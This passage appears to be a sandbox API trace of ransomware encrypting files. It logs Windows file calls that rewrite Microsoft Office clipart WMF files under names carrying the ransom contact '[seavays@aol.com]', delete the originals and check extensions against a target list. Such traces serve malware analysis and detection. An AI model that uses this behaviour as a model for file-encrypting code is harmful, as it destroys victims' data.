liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.200] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0068.201] GetLastError () returned 0x0 [0068.201] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x68c, lpOverlapped=0x0) returned 1 [0068.378] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x690, lpOverlapped=0x0) returned 1 [0068.379] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.379] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.379] SetEndOfFile (hFile=0x378) returned 1 [0068.728] CloseHandle (hObject=0x378) returned 1 [0068.728] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.728] SetEndOfFile (hFile=0x2f8) returned 1 [0068.729] CloseHandle (hObject=0x2f8) returned 1 [0068.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0068.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0068.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0068.730] lstrlenW (lpString=".doc") returned 4 [0068.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.730] lstrlenW (lpString=".docx") returned 5 [0068.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.730] lstrlenW (lpString=".pdf") returned 4 [0068.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.730] lstrlenW (lpString=".xls") returned 4 [0068.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.730] lstrlenW (lpString=".xlsx") returned 5 [0068.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.730] lstrlenW (lpString=".ppt") returned 4 [0068.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0068.730] lstrlenW (lpString=".zip") returned 4 [0068.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.730] lstrlenW (lpString=".rar") returned 4 [0068.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.730] lstrlenW (lpString=".bz2") returned 4 [0068.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.730] lstrlenW (lpString=".7z") returned 3 [0068.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0068.731] lstrlenW (lpString=".dbf") returned 4 [0068.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0068.731] lstrlenW (lpString=".1cd") returned 4 [0068.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0068.731] lstrlenW (lpString=".jpg") returned 4 [0068.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.731] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.731] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0068.732] GetLastError () returned 0x0 [0068.732] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xc18a, lpOverlapped=0x0) returned 1 [0068.734] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xc190, lpOverlapped=0x0) returned 1 [0068.736] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.736] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.736] SetEndOfFile (hFile=0x378) returned 1 [0068.736] CloseHandle (hObject=0x378) returned 1 [0068.738] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.738] SetEndOfFile (hFile=0x2f8) returned 1 [0068.739] CloseHandle (hObject=0x2f8) returned 1 [0068.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0068.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0068.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0068.740] lstrlenW (lpString=".doc") returned 4 [0068.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.740] lstrlenW (lpString=".docx") returned 5 [0068.740] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0068.740] lstrlenW (lpString=".pdf") returned 4 [0068.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.740] lstrlenW (lpString=".xls") returned 4 [0068.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.740] lstrlenW (lpString=".xlsx") returned 5 [0068.740] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0068.740] lstrlenW (lpString=".ppt") returned 4 [0068.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0068.740] lstrlenW (lpString=".zip") returned 4 [0068.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.740] lstrlenW (lpString=".rar") returned 4 [0068.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.741] lstrlenW (lpString=".bz2") returned 4 [0068.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.741] lstrlenW (lpString=".7z") returned 3 [0068.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0068.741] lstrlenW (lpString=".dbf") returned 4 [0068.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0068.741] lstrlenW (lpString=".1cd") returned 4 [0068.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0068.741] lstrlenW (lpString=".jpg") returned 4 [0068.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.741] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.742] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0068.742] GetLastError () returned 0x0 [0068.742] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xb96, lpOverlapped=0x0) returned 1 [0068.744] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xba0, lpOverlapped=0x0) returned 1 [0068.744] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.744] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xe2, lpOverlapped=0x0) returned 1 [0068.745] SetEndOfFile (hFile=0x378) returned 1 [0068.745] CloseHandle (hObject=0x378) returned 1 [0068.746] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.746] SetEndOfFile (hFile=0x2f8) returned 1 [0068.747] CloseHandle (hObject=0x2f8) returned 1 [0068.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0068.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0068.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0068.748] lstrlenW (lpString=".doc") returned 4 [0068.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.748] lstrlenW (lpString=".docx") returned 5 [0068.748] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0068.748] lstrlenW (lpString=".pdf") returned 4 [0068.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.748] lstrlenW (lpString=".xls") returned 4 [0068.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.748] lstrlenW (lpString=".xlsx") returned 5 [0068.748] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0068.748] lstrlenW (lpString=".ppt") returned 4 [0068.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0068.748] lstrlenW (lpString=".zip") returned 4 [0068.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.748] lstrlenW (lpString=".rar") returned 4 [0068.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.748] lstrlenW (lpString=".bz2") returned 4 [0068.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.748] lstrlenW (lpString=".7z") returned 3 [0068.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0068.748] lstrlenW (lpString=".dbf") returned 4 [0068.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0068.748] lstrlenW (lpString=".1cd") returned 4 [0068.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0068.749] lstrlenW (lpString=".jpg") returned 4 [0068.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.749] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.749] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0068.750] GetLastError () returned 0x0 [0068.750] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x2856, lpOverlapped=0x0) returned 1 [0068.751] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x2860, lpOverlapped=0x0) returned 1 [0068.752] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.752] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1 [0068.752] SetEndOfFile (hFile=0x378) returned 1 [0068.753] CloseHandle (hObject=0x378) returned 1 [0068.754] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.754] SetEndOfFile (hFile=0x2f8) returned 1 [0068.754] CloseHandle (hObject=0x2f8) returned 1 [0068.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0068.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0068.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0068.755] lstrlenW (lpString=".doc") returned 4 [0068.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.755] lstrlenW (lpString=".docx") returned 5 [0068.755] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0068.755] lstrlenW (lpString=".pdf") returned 4 [0068.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.756] lstrlenW (lpString=".xls") returned 4 [0068.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.756] lstrlenW (lpString=".xlsx") returned 5 [0068.756] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0068.756] lstrlenW (lpString=".ppt") returned 4 [0068.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0068.756] lstrlenW (lpString=".zip") returned 4 [0068.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.756] lstrlenW (lpString=".rar") returned 4 [0068.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.756] lstrlenW (lpString=".bz2") returned 4 [0068.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.756] lstrlenW (lpString=".7z") returned 3 [0068.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0068.756] lstrlenW (lpString=".dbf") returned 4 [0068.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0068.756] lstrlenW (lpString=".1cd") returned 4 [0068.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0068.756] lstrlenW (lpString=".jpg") returned 4 [0068.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.757] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.757] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0068.757] GetLastError () returned 0x0 [0068.757] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x7992, lpOverlapped=0x0) returned 1 [0069.150] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x79a0, lpOverlapped=0x0) returned 1 [0069.153] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.153] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0069.154] SetEndOfFile (hFile=0x378) returned 1 [0071.536] CloseHandle (hObject=0x378) returned 1 [0071.537] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.537] SetEndOfFile (hFile=0x2f8) returned 1 [0071.538] CloseHandle (hObject=0x2f8) returned 1 [0071.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0071.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0071.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0071.624] lstrlenW (lpString=".doc") returned 4 [0071.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.624] lstrlenW (lpString=".docx") returned 5 [0071.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.624] lstrlenW (lpString=".pdf") returned 4 [0071.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.624] lstrlenW (lpString=".xls") returned 4 [0071.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.624] lstrlenW (lpString=".xlsx") returned 5 [0071.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.624] lstrlenW (lpString=".ppt") returned 4 [0071.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0071.625] lstrlenW (lpString=".zip") returned 4 [0071.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.625] lstrlenW (lpString=".rar") returned 4 [0071.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.625] lstrlenW (lpString=".bz2") returned 4 [0071.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.625] lstrlenW (lpString=".7z") returned 3 [0071.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0071.625] lstrlenW (lpString=".dbf") returned 4 [0071.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0071.625] lstrlenW (lpString=".1cd") returned 4 [0071.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0071.625] lstrlenW (lpString=".jpg") returned 4 [0071.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.807] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.832] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0071.833] GetLastError () returned 0x0 [0071.833] ReadFile (in: hFile=0x38c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x39e4, lpOverlapped=0x0) returned 1 [0071.835] WriteFile (in: hFile=0x37c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x39f0, lpOverlapped=0x0) returned 1 [0071.836] ReadFile (in: hFile=0x38c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.836] WriteFile (in: hFile=0x37c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.836] SetEndOfFile (hFile=0x37c) returned 1 [0071.837] CloseHandle (hObject=0x37c) returned 1 [0071.837] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.837] SetEndOfFile (hFile=0x38c) returned 1 [0071.838] CloseHandle (hObject=0x38c) returned 1 [0071.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 